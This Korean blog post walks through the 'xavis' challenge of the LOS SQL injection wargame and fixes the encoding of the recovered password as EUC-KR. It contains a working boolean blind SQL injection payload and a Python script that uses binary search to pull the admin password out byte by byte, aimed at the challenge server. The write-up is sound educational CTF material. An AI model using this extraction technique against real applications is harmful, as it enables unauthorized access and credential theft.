무척 귀여운 자비스다.
기분좋게 시작해보자
는 무슨 2일 내내 고민해서 풀었다;;;
아무것도 못하고 이것에만 매달렸다... 배고파.. ㅠ
소스코드를 보면 기분이 좀 좋아진다
큰 필터링이 없어보여 쉽게 admin을 얻을 수 있다.
비밀번호를 알아내야 풀리는 함수니 길이부터 차근차근 알아가보자
40..?
이제 손으로 하지 말라 뭐 그런건가 싶어 코딩을 하기 위해 첫자리만 손으로 찾아보았다.
음? 아스키코드가 0?
0은 NULL인데.... 응?
여기서부터가 악몽의 시작이다.
첫글자부터 문자열의 끝을 알려주니 멘붕이 올 수밖에....
무척이나 혼란스럽다가 문득 떠오른 생각
"아스키코드로 표현할 수 없나?"
멀티바이트 문자가 여기에 해당될것이다.
멀티바이트 문자는 어떻게 찾을것인가?
이 고민을 가지고 검색해보니 그동안 몇번 써봤었던 ord 함수가 멀티바이트 문자를 구분해낼 수 있다는 결과를 얻을 수 있었다.
바로 써보자
확실히 아스키코드의 범위인 127이상에서 참이 되기 때문에 멀티바이트 형식을 사용함을 알 수 있었다.
이제 코딩을 해보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | import requests head={ 'cookie' : 'PHPSESSID=r3ae1; __cfduid=d435714' } def play(x,y,z): if x<0: x=0 for i in range(x,y,z): URL = "http://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?" params = {'pw':"' or id='admin' and ord(mid(pw,"+str(j)+",1))>'"+str(i)} res = requests.get(url=URL, params=params, headers=head) if "Hello admin" not in res.text[0:160] : if z==1: print(hex(i)) return play(i-z,i+1,z//2) return for j in range(1,41): play(0,256,128) | cs |
실행횟수가 많아질것 같아 재귀함수를 통해 조금 줄여보았다.
아무튼 편하게 16진수로 출력하면 아래와 같은 결과가 나온다.
10개의 16진수가 나온다.
이제 이 멀티바이트 형식의 문자를 원래대로 되돌려놓자!
유니코드는 아니었다.
그럼 한글을 표현하는 다른 인코딩 방식인 EUC-KR을 확인해보자
ANSI 인코딩이 한국에서 확장된 EUC-KR은 잘 되었다.
"몽키패치ㅋ"
그런데 여기서 의문이 든다.
ANSI는 아스키코드의 확장된 버전인데 ASCII함수를 사용했을때 왜 0값(NULL)이 나온것일까?
이 질문만 가지도 또 2일을 고민했다.
주변사람들에게 물어도봤지만 아직 확실하게 해결하지는 못했다 ㅠㅠ
이제 나온 값을 넣어보자!!
음?
이건 누가봐도 답인데 왜 아닌걸까...
몽키패치가 힌트인걸까?
검색해보았다.
음.....
뭔지는 잘 모르겠지만 '속성' 이라는 단어에 힌트를 얻었다.
보통 default는 latin1로 되어있으니 혹시나해서 실험해보았다.
물음표로 다 바뀌어버렸다.
아무래도 라틴계열은 아닌것 같다.
그렇다면 혹시 해당 데이터베이스가 ANSI인코딩을 사용하고 있지만
ANSI의 확장형인 EUC-KR은 지원하지 않을수도 있지 않을까?
이 생각을 실험으로 옮겨줄 친구가 한명 있다.
HxD
이 친구가 바로 EUC-KR을 지원하지 않는 친구다
ANSI 인코딩이지만 LOS에서 뽑아온 16진수들을 넣어주니 한국어로 변환되지 못해 이상한 기호들이 나오는것을 확인할 수 있었다.
혹시?
두둥!!
한가지 의문점만 풀리면 완전 통쾌할텐데... 아쉬운 문제다 ㅠㅠ
'Wargame > LOS(eagle-jump)' 카테고리의 다른 글
[LOS]21번 iron_golem (0) | 2017.08.14 |
---|---|
[LOS]20번 dragon (0) | 2017.08.09 |
[LOS]18번 nightmare (0) | 2017.08.04 |
[LOS]17번 succubus (0) | 2017.08.04 |
[LOS]16번 zombie_assassin (0) | 2017.08.03 |